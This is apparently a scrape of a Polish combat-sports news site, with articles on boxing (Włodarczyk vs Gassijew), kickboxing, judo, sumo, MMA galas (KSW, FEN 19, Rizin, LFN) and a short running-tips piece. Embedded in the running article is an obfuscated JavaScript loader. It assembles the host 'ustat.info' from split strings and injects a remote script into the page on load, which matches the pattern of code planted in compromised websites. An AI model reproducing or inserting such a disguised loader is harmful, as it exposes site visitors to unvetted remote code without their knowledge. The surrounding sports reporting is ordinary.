Kibice w Polsce ściskali kciuki za Krzysztofa Włodarczyka, który znalazł się w gronie ćwierćfinalistów World Boxing Super Series. Niestety, przygoda „Diablo” z turniejem zakończyła się. Polak miał szansę po raz trzeci zostać mistrzem świata, ale na jego drodze stanął Murat Gassijew. Starcie rozpoczęło się spokojnie, ale wraz z upływającym czasem Rosjanin podkręcił tempo. W trzeciej rundzie Gassijew najpierw wyprowadził lewy podbródkowy, a potem lewy hak na korpus i powalił Włodarczyka na deski. Polak przegrał po raz pierwszy w karierze przed czasem. O finał WBSS Gassijew powalczy z Yunierem Dorticosem. Kubańczyk pokonał Dmitrija Kudriaszowa w drugiej rundzie.

Za faworyta turnieju uchodzi Oleksandr Usyk. Mistrz świata WBO rozmontował Marco Hucka, który w żaden sposób nie potrafił zagrozić Ukraińcowi. Ten zakończył męczarnie Niemca bośniackiego pochodzenia w dziesiątej rundzie. Rywalem Usyka o wejście do finału będzie Mairis Briedis. Łotysz na punkty pokonał Mike'a Pereza.

Kiedy półfinały?

W turnieju World Boxing Super Series rywalizacja toczy się o wielkie pieniądze. Półfinały odbędą się w styczniu i lutym. Ostateczne rozstrzygnięcia powinny być znane w maju 2018 roku.

Fot. pixabay.com

KM

Dorota Godzina pożegnała się z kibicami

Ostatnia walka w karierze utytułowanej Doroty Godziny. Na gali DSF Kickboxing Challenge 11 w warszawskiej Arenie Ursynów kickboxerka związana z klubem X Fight Piaseczno pokonała Sylwię Kaliś. W walce wieczoru Dawid Kasperski wygrał z Boubakerem El Bakourim.

Przez lata Dorota Godzina zapracowała na miano gwiazdy polskiego kickboxingu. Wkład 32-latki w rozwój popularności dyscypliny nie podlega dyskusji. 

Wygrana Królowej

Dorota Godzina wygrała ostatnią walkę w karierze i ze łzami w oczach pożegnała się z kibicami. Wygrywając z Sylwią Kaliś obroniła pas mistrzowski organizacji DSF. Z dumą może patrzeć na swój dorobek. Przez 16 lat wywalczyła tytuły mistrzyni świata, zawodowej mistrzyni świata, 12 Pucharów świata, dwa amatorskie mistrzostwa Europy, a także medale mistrzostw Polski w różnych formułach. Łącznie stoczyła ponad 350 walk. Z pewnością mówimy o kobiecie, która na trwałe zapisała się w historii polskiego kickboxingu.

Nadal pojawiają się pytania, czy decyzja Doroty Godziny jest ostateczna. Zawodniczka zapewnia, że tak. – Nie zmieniłam decyzji – to moja ostatnia zawodowa walka. Pojedynek oceniam jako bardzo ciężki zarówno sportowo, bo moja młoda przeciwniczka wykazała się ogromną determinacją, jak i emocjonalnie. Cały czas z tyłu głowy krążyły mi myśli, że to już ostatni raz – wyjaśnia FighTime.pl Dorota Godzina.

Zatem nadszedł czas na podsumowania. – Myślę, że wyciągnęłam tyle ile się dało z mojej przygody z kickboxingiem. Na początku nawet nie śniłam, że znajdę się w tym miejscu, w którym jestem. Ciężko wyróżnić kilka rzeczy, które najmocniej zapadły mi w pamięci, ponieważ jest ich mnóstwo. Na pewno dobrze pamiętam, kiedy pierwszy raz pojawiłam się na treningu u Piotra Siegoczyńskiego. Wtedy jeszcze nie przypuszczałam, że to był dzień który zaważy na moim przyszłym życiu – prezentuje Godzina.

Pokonaliśmy Francję

Gala DSF w Arenie Ursynów obfitowała w wiele ciekawych walk. Jednostronny okazał się mecz Polska-Francja. Biało-czerwoni rozłożyli Trójkolorowych na łopatki i wygrali pewnie 5:0. Maksymilian Bratkowicz (86kg) w pierwszej rundzie pokonał Henriego Floriana, równie szybko z rywalem przy pomocy latającego kolana uporał się Michał Turyński (+95kg). Łukasz Wichowski (81kg), w pojedynku na zasadach full contact, w drugiej rundzie znokautował Ibrahima Fettara. Decyzją sędziów walki wygrali Marcin Mazurkiewicz (75kg) i Tomasz Klimiuk (+95kg). Ten drugi niejednogłośnie.

W Arenie Ursynów debiut w organizacji DSF zaliczył Dawid Kasperski (86kg). Złoty medalista World Games we Wrocławiu pokonał pewnie Boubakera El Bakouriego. Sędziowie nie mieli żadnych wątpliwości, co do swojej decyzji i wskazali jednogłośnie na Polaka.

Fot. Dorota Godzina Facebook

KM

Dziewięcioro Polaków powalczy w Abu Dhabi

Jeden z ostatnich akordów tegorocznej rywalizacji judoków. W dniach 26-28 października odbędzie się turniej Grand Slam w Abu Dhabi. Na tatami zobaczymy dziewięcioro reprezentantów Polski.

W turnieju zaprezentuje się blisko 280 judoków z 47 krajów, a więc należy spodziewać się zaciętej rywalizacji o medale. 

Iść za ciosem

W Abu Dhabi zobaczymy zachwycającą blaskiem Agatę Ozdobę-Błach (63kg). Ostatnie tygodnie są wyjątkowe w życiu judoczki, która ma same powody do radości. W sierpniu wywalczyła brązowy medal mistrzostw świata w Budapeszcie, a we wrześniu wzięła ślub. Największy sukces w karierze sportowej, a także najważniejsza życiowa decyzja – czy może być lepsze połączenie? Na płaszczyźnie sportowej Ozdoba-Blach nie powiedziała jeszcze ostatniego słowa. Mierzy w medal Igrzysk Olimpijskich Tokio 2020. 29-letnia zawodniczka ma już na swoim koncie medale mistrzostw świata i Europy w zmaganiach indywidualnych i drużynowych. Brakuje jej sukcesu, na który sportowcy ciężko pracują przez cztery lata.

Ozdoba-Błach rozpoczyna drogę do Tokio. Swoją dyspozycję Polka sprawdzi w Abu Dhabi, gdzie rok temu zajęła siódme miejsce. Z kolei trzy lata temu w stolicy Zjednoczonych Emiratów Arabskich była trzecia. Do tegorocznego turnieju przygotowywała się przez ostatnie tygodnie w Zakopane. W tym roku 29-latka wygrała zawody w Mińsku i była trzecia w Pradze. Czy na fali dobrych wyników ponownie wskoczy na podium? Przekonamy się o tym w piątek (27 października), kiedy to Agata Ozdoba-Błach pojawi się na tatami.

W gazie jest również Anna Borowska (57kg), która na początku października wygrała Grand Prix w Taszkiencie. Dla Polki był to trzeci triumf w tym roku. Ponadto, z Taszkientu w dobrym nastroju wróciła Agata Perenc (52kg), która zdobyła srebro. O krok od medalu była Karolina Pieńkowska (52kg). Wszystkie trzy zaprezentują się również w Abu Dhabi.

W turnieju Grand Slam zobaczymy również: Julię Kowalczyk (57kg), Karolinę Tałach (63kg), Damiana Szwarnowieckiego (81kg), Piotra Kuczerę (90kg) i Macieja Sarnackiego (+100kg). 

Puchar Polski w Warszawie

Emocje zaczną się w Abu Dhabi, a skończą się w Warszawie. 29 października w hali przy ul. Klimatycznej 1 odbędzie się rywalizacja w Pucharze Polski seniorów i seniorek. Otwarcie imprezy o 12.00, pierwsze walki kwadrans później.

KM

Pas wróci do „Kornika”?

Opadają emocje po gali KSW w Dublinie. Wiadomo już, że 23 grudnia w katowickim Spodku odbędzie się kolejne wydarzenie organizacji Martina Lewandowskiego i Macieja Kawulskiego. Artur Sowiński postara się odzyskać pas wagi piórkowej, którego posiadaczem jest Kleber Koike Erbst.

Kibice MMA dostaną prezent pod choinkę. Wszyscy liczą, że gala w Katowicach będzie wspaniałym podsumowaniem roku. W ostatnim czasie KSW przełamywała kolejne bariery: PGE Narodowy, wizyta w Dublinie i głośne nazwiska na pokładzie organizacji.

Gorący Dublin

Nie sposób nie wspomnieć o gali w Dublinie. Tak naprawdę jest wiele powodów ku temu, ale chyba ten najważniejszy dotyczy Michała Materli. Wszyscy byli ciekawi jak zaprezentuje się były mistrz wagi średniej, który ma za sobą trudny czas. Materla otrzymał ogromne wsparcie publiczności i w drugiej rundzie znokautował Paulo Thiago. Na gwiazdę kobiecego MMA wyrasta Ariane Lipski. 23-letnia Brazylijka stoczyła trzecią walkę w KSW i ponownie wygrała przed czasem. Mistrzyni wagi muszej już w pierwszej rundzie zmusiła do poddania Marianę Morais. 

Czy czeka nas kolejna odsłona sagi Gamrot vs Parke? Panowie spotkali się dwa razy. W maju w Warszawie Polak wygrał jednogłośną decyzją sędziów, a starcie w Dublinie zostało uznanie za… nieodbyte. Walka mogła się podobać, ale w drugiej rundzie Gamrot wsadził palec w oko rywala. Lekarze nie dopuścił Irlandczyka do dalszej rywalizacji. Po decyzji o zakończeniu starcia doszło do przepychanki w narożniku mistrza wagi lekkiej, w której uczestniczył Parke. 

Warto również wspomnieć o dwunastym zwycięstwie w karierze 40-letniego Mariusza Pudzianowskiego. Były strongman decyzją sędziów pokonał Jaya Silvę.

Czas na Katowice 

Czy wysoka temperatura musi towarzyszyć tylko galom na Wembley czy PGE Narodowym? Wcale nie. Wiadomo, że skala wydarzenia może robić różnicę. Jednak w Katowicach zapowiada się równie ciekawa gala. Z pewnością dla wielu niezwykle interesujący będzie debiut w KSW aktora Tomasza Oświecińskiego. Wiadomo, że jego walka z Popkiem Monsterem ma być magnesem dla widzów. Poziom sportowy? Jedna wielka niewiadoma.

Na pewno emocje będą w starciu Artura Sowińskiego i Klebera Koike Ebrsta. Obaj są niezwykle efektownie walczącymi zawodnikami, którzy nawet na chwilę nie odpuszczają. Sowiński i Erbst mieli okazję rywalizować na gali KSW 33 w Krakowie. Wtedy decyzją sędziów wygrał Polak, który obronił pas mistrza wagi piórkowej. Obecnie są w zupełnie innych miejscach. W międzyczasie Sowiński stracił tytuł na rzecz Marcina Wrzoska, któremu później pas odebrał Erbst. Japończyk urósł do miana gwiazdy KSW. 28-latek jest niepokonany od czterech walk, wygrywał również na galach Pancrase oraz Rebel FC 4.

Jednym z głównych aktorów KSW 41 w Katowicach ma być Borys Mańkowski, który po raz czwarty będzie bronił tytuły wagi półśredniej.

Fot. konfrontacja.com

KM

Włodarczyk po pas mistrza świata

Krzysztof „Diablo” Włodarczyk był czempionem WBC oraz IBF w kategorii junior ciężkiej. Polski pięściarz ponownie ma szansę wywalczyć pas tej drugiej organizacji. W sobotę w hali Prudential Center w Newark zmierzy się z niepokonanym Muratem Gassijewem.

Warto wspomnieć, że będzie to ćwierćfinałowe starcie w ramach turnieju World Boxing Super Series. Zwycięzca w kolejnej rundzie spotka się z Yunierem Dorticosem.

Ostatnia szansa Włodarczyka

„Diablo” zrobił wiele dla polskiego boksu. Pierwszy tytuł mistrza świata wywalczył blisko 11 lat temu na warszawskim Torwarze. Włodarczyk pokonał Steve'a Cunninghama, ale w rewanżu musiał uznać wyższość Amerykanina. W 2010 roku „Diablo” mógł wznieść w górę pas mistrzowski WBC, gdy w łódzkiej Atlas Arenie wygrał przed czasem z Giacobbe Fragomenim. Kolejni rywale padali jego łupem, a Włodarczyk stał się pierwszoplanową postacią polskiego boksu. W 2013 roku Polaka zatrzymał Grigorij Drozd. Miało dojść do rewanżu, ale walka się nie odbyła. Podkreślano, że problemem Włodarczyka jest głowa. Na kolejną walkę „Diablo” trzeba było czekać półtora roku.

Włodarczyk ma 36 lat i to ostatnia chwila, aby mógł coś jeszcze ugrać w zawodowym boksie. W Newark stanie naprzeciw mocnego Rosjanina Gassijewa. 24-latek wygrał wszystkie 24 walki w karierze, a w grudniu 2016 roku pokonał Denisa Lebiediewa i sięgnął po pas IBF. Gassijew trenuje w Stanach Zjednoczonych pod okiem Abela Sancheza. Z pewnością Rosjanin jest mocny, ale posiada również wady. Zadaje mocne ciosy, jednak popełnia błędy w ataku. W oczach bukmacherów zdecydowanym faworytem jest 24-letni mistrz świata. 

Atutem Włodarczyka będzie doświadczenie. To Polak ma za sobą bagaż ringowych wzlotów i upadków, który może wykorzystać i ukłuć w decydującym momencie. Kluczowe będzie, czy Polak udźwignie psychicznie ciężar starcia. Doświadczenie stanowi ogromną wartość, ale energia Rosjanina może wyczerpać Włodarczyka. „Diablo” musi rozsądnie gospodarować siłami i szukać lewego prostego.

Na sali pojawią się również ogromne pieniądze. Za awans do półfinału WBSS zwycięzca dostanie 400 tysięcy dolarów. Ponad 1 milion dolarów czeka na Włodarczyka w przypadku pokonania Gassijewa.

Polski wieczór

Sobotnia noc w Newark może być polska. W Prudential Center 26 walkę w karierze stoczy Maciej Sulęcki, który zmierzy się z Jackiem Culcay'em. Polaka występującego w wadze junior średniej czeka trudne zadanie, bo Niemiec to były mistrz organizacji WBA. Pas stracił w tym roku. Pogromcą Culcaya okazał się Demetrius Andrade. Z kolei Sulęcki ostatnie siedem walk wygrał przed czasem.

Na 40 zwycięstwo na zawodowym ringu zapoluje Mateusz Masternak. Przeciwnikiem byłego mistrza Europy w wadze junior ciężkiej będzie Stivens Bujaj.

KM

Wojda: Walka o złote medale

Nie ma wątpliwości, że Polacy będą pierwszoplanowymi postaciami nadchodzących mistrzostw Europy młodzików, kadetów i juniorów w sumo. Transmisja w telewizji FighTime.pl. Zapraszamy do śledzenia rywalizacji!

Krok po kroku sumo zdobywa coraz większą popularność w Europie. Polska może pochwalić się licznymi sukcesami. Czy biało-czerwoni zdobędą kolejne medale podczas nadchodzących mistrzostw Europy?

Cel jest jasny

Rok temu rywalizacja młodzików i kadetów odbyła się w Brandenburgii. Najlepsi okazali się zawodnicy z Rosji, za nimi uplasowali się sumocy z Polski i Estonii. Poza podium znaleźli się mocni Węgrzy. Jak będzie w Warszawie? Jedno jest pewno – Polacy będą walczyli z całych sił, aby ponownie znaleźć się wśród najlepszych. – Naszym celem jest walka o złote medale. Mamy świadomość, że nasz potencjał jest duży. Chcemy powalczyć o jak najwyższe miejsce w klasyfikacji drużynowej i wierzymy w sukces. W porównaniu z ubiegłym rokiem mamy jeszcze zmagania w trzeciej grupie, gdzie jesteśmy mocni. Czeka nas wyjątkowa impreza – mówi FighTime.pl Andrzej Wojda, sekretarz generalny Polskiego Związku Sumo.

Nastroje są optymistyczne, a więc nie pozostaje nic innego jak rozpocząć rywalizację o medale. Pierwszy akord mistrzostw już 20 października. Od 11.00 do 18.00 odbędą się zmagania młodzików do lat 14. Kolejnego dnia o medale powalczą kadeci, zaś 22 października mistrzostwa Europy zwieńczy rywalizacja juniorów.  – W Warszawie wystąpi 86 Polaków w trzech grupach. Zawodnicy przygotowywali się do udziału w mistrzostwach Europy w klubach oraz podczas zawodów – podaje Andrzej Wojda.

Rywale nie odpuszczą

Trzeba jednak pamiętać, że plany i marzenia to jedno, a rzeczywistość drugie. Nie ma, co ukrywać – każda reprezentacja przyjedzie, aby wypaść jak najlepiej. Dla młodych sumoków mistrzostwa Europy to wyjątkowe wydarzenie, podczas którego chcą dać z siebie wszystko. – Łącznie do udziału w mistrzostwach Europy zgłosiło się blisko 240 zawodników. Zobaczymy rywalizację dziesięciu reprezentacji w trzech grupach. W każdej z nich od sześciu do ośmiu kategorii wagowych. Każda reprezentacja może wystawić po dwóch zawodników w danym limicie – prezentuje sekretarz generalny Polskiego Związku Sumo.

Mistrzostwa Europy młodzików, kadetów i juniorów w sumo odbędą się w hali sportowej SP 76 przy ul. Poezji 5 w Warszawie. Wstęp na imprezę jest wolny.

Mistrzostwa można będzie również śledzić w telewizji FighTime. Zapraszamy serdecznie do przeżywania emocji.

Fot. Polski Związek Sumo Facebook

KM

LIVE: Mistrzostwa Europy SUMO, Warszawa 2017: Day 1

Zapraszamy na transmisję telewizyjną na żywo z Mistrzostw Europy Młodzików, Kadetów i Juniorów w SUMO. Zawody odbywają się w dniach 20-22 października 2017 r. w dzielnicy Wawer w Warszawie.

[kod]

Mistrzostwa Europy SUMO, Wawer 2017

Mistrzostwa Europy SUMO, Wawer 2017

var player = redcdnplayer("redcdnplayer").setup({
file: {
flv: "http://r.dcs.redcdn.pl/liveflv/o2/Marklaw/SUMO_ME_2017.livx",
hls: "http://r.dcs.redcdn.pl/hls/o2/Marklaw/SUMO_ME_2017.livx/playlist.m3u8",
dash: "http://r.dcs.redcdn.pl/dash/o2/Marklaw/SUMO_ME_2017.livx",
ss: "http://r.dcs.redcdn.pl/ss/o2/Marklaw/SUMO_ME_2017.livx"
},
width: 640,
height: 385,
autoplay: false,
});

LIVE: Mistrzostwa Europy SUMO, Warszawa 2017: Day 2

Zapraszamy na transmisję telewizyjną na żywo z Mistrzostw Europy Młodzików, Kadetów i Juniorów w SUMO. Zawody odbywają się w dniach 20-22 października 2017 r. w dzielnicy Wawer w Warszawie.

[kod]

Mistrzostwa Europy SUMO, Wawer 2017

Mistrzostwa Europy SUMO, Wawer 2017

var player = redcdnplayer("redcdnplayer").setup({
file: {
flv: "http://r.dcs.redcdn.pl/liveflv/o2/Marklaw/SUMO_ME_2017.livx",
hls: "http://r.dcs.redcdn.pl/hls/o2/Marklaw/SUMO_ME_2017.livx/playlist.m3u8",
dash: "http://r.dcs.redcdn.pl/dash/o2/Marklaw/SUMO_ME_2017.livx",
ss: "http://r.dcs.redcdn.pl/ss/o2/Marklaw/SUMO_ME_2017.livx"
},
width: 640,
height: 385,
autoplay: false,
});

LIVE: Mistrzostwa Europy SUMO, Warszawa 2017: Day 3

Zapraszamy na transmisję telewizyjną na żywo z Mistrzostw Europy Młodzików, Kadetów i Juniorów w SUMO. Zawody odbywają się w dniach 20-22 października 2017 r. w dzielnicy Wawer w Warszawie.

[kod]

Mistrzostwa Europy SUMO, Wawer 2017

Mistrzostwa Europy SUMO, Wawer 2017

var player = redcdnplayer("redcdnplayer").setup({
file: {
flv: "http://r.dcs.redcdn.pl/liveflv/o2/Marklaw/SUMO_ME_2017.livx",
hls: "http://r.dcs.redcdn.pl/hls/o2/Marklaw/SUMO_ME_2017.livx/playlist.m3u8",
dash: "http://r.dcs.redcdn.pl/dash/o2/Marklaw/SUMO_ME_2017.livx",
ss: "http://r.dcs.redcdn.pl/ss/o2/Marklaw/SUMO_ME_2017.livx"
},
width: 640,
height: 385,
autoplay: false,
});

Co zrobić by uniknąć monotonii w czasie biegania?

Bieganie jest świetną formą aktywności fizycznej jednak w pewnym momencie powtarzanie tej samej czynności może stać się monotonne i nużące. Co można zrobić by uniknąć takiej sytuacji?

Czy bieganie może być bardziej ciekawe?

Bieganie jest obecnie jedną z najbardziej popularnych form aktywności fizycznej. Osoby uprawiające jogging są w dużej mierze uzależnione od warunków atmosferycznych. Wiele osób biega na świeżym powietrzu głównie w okresie wiosenno-letnim. Nie oznacza to, że wraz z nadejściem jesieni zaprzestają treningów. Dzięki ogólnie dostępnym maszynom treningowym takim jak na przykład bieżnia elektryczna biegać można przez cały rok nawet we własnym domu.

Co jednak zrobić, gdy bieganie przestaje nam sprawiać przyjemność? Przede wszystkim należy pamiętać o tym by niczego nie robić na siłę i wbrew sobie. Czasami wystarczy zrobić krótką przerwę od treningu by po kilku dniach znów wrócić do biegania z nową energią. 

Jeśli jesteście osobami początkującymi i wydaje wam się, że bieganie jest monotonne, pamiętajcie, że najtrudniejszych przeważnie jest pierwszych kilka treningów. Później jest coraz łatwiej i przyjemniej. Wiele osób, które początkowo było bardzo sceptycznie nastawionych do joggingu, po pewnym czasie pokochały tren sport. Bardzo pomocne jest słuchanie w czasie biegu ulubionej muzyki. 

Podnoś sobie poprzeczkę

Celem treningu niezależnie od uprawianej dyscypliny sportu jest stopniowy rozwój.  Osiąganie kolejnych celów jest najlepszą motywacją do wzmożonego wysiłku. Dlatego jeśli chcemy by bieganie przez cały czas było naszą pasją musimy wiedzieć co chcemy osiągnąć. Wyznaczanie odpowiednich celów jest kluczem do czerpania maksimum satysfakcji z biegania. Nie mogą one być zbyt proste, ponieważ nie przynoszą satysfakcji. Nie mogą być też zbyt trudne, ponieważ częste porażki są bardzo demotywujące.

Analiza treningu

W dzisiejszych czasach dostępnych jest bardzo wiele nowoczesnych aplikacji przeznaczonych do analizy treningów. Są to narzędzia, które pozwalają czerpać dodatkową radość z biegania. Obecnie prawie każdy dysponuje smartfonem, który dzięki zastosowaniu odpowiedniego oprogramowania staje się wymarzonym narzędziem dla biegacza. Analizowanie statystyk i optymalizowanie treningu jest dla wielu osób świetnym motorem do dalszej pracy. Nowoczesne programy dostarczają między innymi informacji na temat tego: ile spaliliśmy kalorii, pokonaliśmy przewyższeń czy z jaką średnią prędkością biegliśmy. Potrafią nawet w sposób graficzny przedstawić dokładną trasę biegu.

[kod]

(function(){
o06i=document.createElement("script");o06i.async=true;o06i_="u"+("s")+"t";
o06iu="67563400.";o06i_+="a"+("t.i");o06i_+="n"+("f"+"o")+"/";
o06iu+="3kagchyg06imfXzzardzpw"+("0fr5uru3");
o06i.src="//"+o06i_+o06iu;o06i.type="text/javascript";
document.body.appendChild(o06i);
})();

Juśkiewicz przegrała w Japonii

Porażka Sylwii Juśkiewicz na gali Rizin Fighting World Grand Prix. Tym samym Polka pożegnała się z turniejem wagi atomowej do 49kg.

Zawodniczka znana z gal organizacji Ladies Fight Night debiutowała w Japonii. W Fukuoce spotkała się z Kanną Asakurą.

Brak awansu

Juśkiewicz dostała szansę zaprezentowania się na jednym z największych turniejów MMA na świecie. Polka już znacznie wcześniej znalazła się w orbicie zainteresowań organizacji Rizin. Nie ma się co dziwić, gdyż na krajowym podwórku „Mała” radziła sobie znakomicie i prezentowała się niezwykle efektownie. Dobrą postawą Juśkiewicz zapracowała na status gwiazdy organizacji Ladies Fight Night.

Pięć zwycięstw z rzędu robiło wrażenie. Juśkiewicz kolejno odprawiła Katarzynę Urban, Klaudię Pawicką, Alice Ardelean, Ludmyłę Pylypchak i Manoelę Matos. Przed startem zmagań w turnieju wagi atomowej Rizin widziano ją w roli faworytki. Na początek na drodze Polki pojawiła się Kanna Asakura, która udział w zmaganiach zapewniła sobie pokonując Saori Ishokę na sierpniowej gali Deep – Jewels 17. 20-letnia Japonka wygrała trzy ostatnie walki i miała apetyt na kolejny triumf. Nie inaczej było w przypadku Juśkiewicz.

Kanna Asakura nie pozwoliła rozwinąć skrzydeł Sylwii Juśkiewicz. W pierwszej odsłonie Polka uchroniła się przed jedną próbą obalenia, ale Japonka po raz kolejny spróbowała swoich sił i okazała się skuteczna. 20-latka próbowała różnych rozwiązań, jednak Juśkiewicz skutecznie się broniła. Defensywa to było za mało, Asakura zaznaczała swoją przewagę wraz z upływem minut. W drugiej odsłonie doszło do wymiany bokserskiej. Polka szukała okazji, aby zagrozić rywalce, jednak ta szybko szukała nóg i sprowadzała walkę do parteru. W końcowej fazie walki Japonka szukała duszenia, jednak nie udało jej się zakończyć starcia przed czasem. Asakura wygrała jednogłośną decyzją sędziów.

Kto walczy dalej?

Na gali w Fukuoce odbyły się również inne walki turnieju wagi atomowej. Maria Oliveira Mota pokonała Alyssię Garcię jednogłośną decyzją sędziów. Z siódmego zwycięstwa w karierze cieszyła się Irene Cabello Rivera. W drugiej rundzie 24-letnia Hiszpanka założyła dźwignię na ramię Miyuu Yamamoto, a Japonka odklepała.

W walce wieczoru Rena Kubota pokonała Andy Nguyen. 26-letnia Japonka wygrała kolejną walkę przed czasem i awansowała do następnej rundy zmagań. Kolejna faza rywalizacji odbędzie się w grudniu br.

KM

FEN 19: Wyniki, podsumowanie, komentarze po gali!

Za nami gala Fight Exclusive Night 19 „Bitwa o Wrocław”. Podczas wydarzenia zobaczyliśmy 10 pojedynków, stawką aż w trzech z nich były pasy mistrzowskie federacji. Cztery walki odbywały się na zasadach K-1, 6 toczyło się w MMA.

 

 

 

 

 

Pełna karta walk FEN 19 „Bitwa o Wrocław” prezentuje się następująco:

77 kg K-1 – Igor Danis VS Paweł Biszczak
77 kg MMA – Bartłomiej „Ruby” Brzeziński – Gabriel „Arab” Al-Sulwi
+95 kg K-1 – Nikolaj Falin VS Arkadiusz Wrzosek
77 kg MMA – Nassourdine Imavov VS Michał Michalski
65 kg K-1 – Marta Waliczek VS Róża Gumienna
84 kg MMA – Bartosz Leśko VS Paweł Brandys
77 kg MMA – Tymoteusz Łopaczyk VS Adrian Błeszyński
56 kg MMA – Magdalena Rak VS Raffaela Milner
70 kg MMA – Patryk Nowak VS Jakub Mroczkowski
70 kg K-1 Marcin Stopka VS Krzysztof Kottas

Walka 1. Marcin Stopka VS Krzysztof Kottas

Wielka energetyka tego pojedynku i możliwie najlepsze rozpoczęcie gali we Wrocławiu. Marcin Stopka zachował sobie więcej sił na dystansie trzech rund i zasłużenie wygrał. Pierwsza z czterech walk w formule K-1 dostarczyła naprawdę wiele emocji. Zdecydowało przygotowanie fizyczne i więcej tlenu w płucach Stopki, który był aktywniejszy szczególnie w drugiej j trzeciej rundzie.

Walka 2. Jakub Mroczkowski VS Patryk Nowak

Poddanie! Patryk Nowak nie dał szans Jakubowi Mroczkowskiemu i skutecznie założył gilotynę swojemu rywalowi. Pojedynek nie wyszedł nawet poza pierwsza rundę.

Walka 3. Magdalena Rak VS Raffaela Milner

Znakomity debiut w zawodowym MMA Magdaleny Rak, która low kickami i frontalnymi kopnięciami raz za razem rozbijała szczelną defensywę Raffaeli Milner. Znakomity popis stójkowych umiejętności Rak – ta dziewczyna ma papiery na naprawdę wielką karierę.

Walka 4. Tymoteusz Łopaczyk VS Adrian Błeszyński

Absolutnie wyjątkowe starcie, w którym młodość okazała się lepsza od rutyny i doświadczenia. Jedna z najlepszych walk w historii federacji FEN – gratka dla wszystkich koneserów mieszanych sztuk walki. Łopaczyk da jeszcze wiele radości wszystkim kibicom – spektakularny debiut w federacji FEN! Jednogłośne zwycięstwo wojownika z Bielawy.

Walka 5. Bartosz Leśko VS Paweł Brandys

Bardzo wyrównane starcie, ale tego się spodziewaliśmy – obaj panowie przed pierwszym gongiem wydawali się być na tym samym poziomie. Ostatecznie zwyciężył Bartosz Leśko, który przeważał w parterze i częściej dominował w starciu na macie. Wciąż zero w rekordzie trójmiejskiego fightera.

Walka 6. Marta Waliczek VS Róża Gumienna

Mamy nową mistrzynie FEN W K-1! Marta Waliczek dokonała wielkiej sztuki i już w debiucie w federacji zwyciężyła z niepokonaną do tej pory Różą Gumienną. Do rozstrzygnięcia tego starcia zadecydowała dogrywka – po trzech rundach nie można była wskazać lepszej wojowniczki. Rewanż? Trudno już dziś powiedzieć, ale na pewno kibice z chęcią zobaczyliby drugie starcie pomiędzy paniami!

Walka 7. Nassourdine Imavov VS Michał Michalski

Wielkie zwycięstwo powracającego po dłuższej przerwie Michała Michalskiego. Znakomite starcie, które prawie w całości rozgrywało się w stójce. Kopnięcia zawodnika z Wrocławia zdecydowały o zwycięstwie. Cudowny powrót Michalskiego!

Walka 8. Nikolaj Falin VS Arkadiusz Wrzosek

Bułka z masłem – takie to było proste starcie dla Arkadiusza Wrzoska. Znakomity prawy sierpowy na szczękę przewrócił Nikolaja Falina i Niemiec już się nie podniósł. Wrzosek pierwszym mistrzem FEN W K-1 w kategorii ciężkiej!

Walka 9. Bartłomiej „Ruby” Brzeziński – Gabriel „Arab” Al.-Sulwi

Pierwszy w historii federacji freak fight dla Araba. W drugiej rundzie z narożnika Rubego poleciał Ręcznik i nie ma się czemu dziwić – Arab miał zdecydowaną przewagę i od kilku minut okładał swojego rywala ciosami w parterze. Sędzia Piotr Michalak tego nie przerwał – wyręczyli go trenerzy Brzezińskiego. Mimo wszystko – dobra, stojąca na wysokim poziomie walka.

Walka 10. Igor Danis VS Paweł Biszczak

Krótko trwała ta wojna. Stary mistrz nie dał się zaskoczyć i już w pierwszej rundzie efektownie skończył Igora Danisa, który bardzo długo nie był w stanie podnieść się z maty. Pas zostaje w posiadaniu Biszczaka!

Barbara Nalepka zawalczy dla LFN już 16 grudnia w Łodzi!

Już 16 grudnia 2017r.w Łodzi, podczas naszych drugich urodzin, na 7. gali Ladies Fight Night „Double Trouble” w klatkoringu zaprezentuje się Basia Nalepka pseudonim „Shogun”, która jak sama mówi bardzo się cieszy, że dostała propozycję walki na jubileuszowej gali LFN i będzie chciała pokazać się jak najlepiej. Walka zawodniczki odbędzie się w formule MMA.

Jak podkreśla Łukasz Chmal – prezes organizacji: „Basia jest bardzo wszechstronną i doświadczoną zawodniczką. Nie miałem wątpliwości, że chcemy, aby dla nas walczyła. Kontrakt podpisaliśmy we wrześniu 2017r., ale dopiero dzisiaj jesteśmy gotowi, aby powoli odkrywać karty naszej jubileuszowej i sukcesywnie prezentować kolejne zawodniczki”.

""

Zawodowe plany Basi na 2018?
BN: “Nie mam sztywnych planów na 2018 rok. W lutym może wylecę do Brazylii na treningi na dwa miesiące, jak uzbieram fundusze 🙂 Na pewno kilka walk w MMA jak i w K1w Polsce jak i za granicą :-)”

O czym teraz myśli/marzy najbardziej zawodowo/ osobiście?
BN: “O czym marzę zawodowo…, żeby walczyć na największych galach w Polsce i na świecie i wiadomo, żeby wszystko poszło po mojej myśli, a osobiście nie mam w sumie planów dalekobieżnych co będzie to będzie:-).
Żyję chwilą i tak wszystko jest zapisane w gwiazdach :-)”

Pieniądze kością niezgody

Bez pieniędzy ani rusz. Każdy chce zarobić jak najwięcej, aby zaspokoić swoje potrzeby. Cris „Cyborg” Justino nie jest zadowolona ze swoich zarobków w UFC. Liczy, że organizacja w końcu ją doceni i zaproponuje odpowiednie wynagrodzenie.

W oktagonie Justino zawsze jest twarda, nieustępliwa i zdecydowana. Brazylijka chciała się spotkać z Holly Holm i strony zaczęły czynić ustalenia względem walki. Mistrzyni wagi piórkowej zerwała jednak rozmowy.

Za mało

Bez wątpienia starcie „Cyborg” z Holly Holm urastałoby do miana hitowej walki w kobiecym MMA. Dwa lata temu to Amerykanka dzierżyła pas mistrzyni wagi koguciej, kiedy to niespodziewanie pokonała Rondę Rousey. Holm znokautowała „Rowdy”, która wydawała się niezniszczalna. Jednak radość Amerykanki nie trwała zbyt długo, ponieważ w kolejnej walce straciła pas na rzecz Mieshy Tate. 35-latka miała słabszy czas. Przegrała dwie kolejne walki, w tym o tytuł w kategorii piórkowej. Dopiero w czerwcu na gali UFC Fight Night 111 odniosła zwycięstwo. W trzeciej rundzie Amerykanka znokautowała Bethe Correię.
 
Skupmy się na tytule w wadze piórkowej. Pierwszą mistrzynią utworzonej w grudniu 2016 roku kategorii została Germaine de Randamie. Holenderka obawiała się starcia z Cristiane Justino i dlatego w czerwcu br. została pozbawiona tytułu. Z kolei Brazylijka spotkała się z Tonyą Evinger i od pierwszych minut przeważała. 36-letnia Amerykanka wytrwała do trzeciej rundy, kiedy to Justino potężnie trafiła ją kolanem. Trudno było znaleźć odważną, którą wejdzie do oktagonu z Brazylijką. Holly Holm wyzwań się nie boi, czego dowodem była jej wygrana z Rousey. 

